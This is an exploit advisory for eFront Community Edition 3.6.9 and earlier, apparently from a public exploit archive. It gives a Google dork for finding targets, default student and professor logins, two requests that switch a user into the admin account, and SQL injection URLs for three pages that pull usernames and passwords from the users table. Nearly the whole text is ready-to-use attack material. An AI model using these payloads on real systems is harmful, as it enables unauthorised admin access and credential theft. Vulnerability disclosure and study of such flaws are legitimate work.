# Exploit Title: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities
# Google Dork: "eFront (version 3.6.9)" inurl:index.php?ctg=*
# Date: 5/09/2011
# Public release: When 3.6.10 will be released
# Author: IHTeam
# Software Link: http://www.efrontlearning.net/download/download-efront.html
# Tested on: efront_3.6.9_build11018
# Original Advisory: http://iht.li/FWh
# Advisory code: http://iht.li/p/0VV
 
Default username and password:
student:student
professor:professor
 
How to become admin:
Request 1: /change_account.php?login=admin
Request 2: /userpage.php
OR
simple use the [Switch account] option on top of the page;
Now you are in admin area;
 
SQL Injection:
www/student.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
www/professor.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
www/admin.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --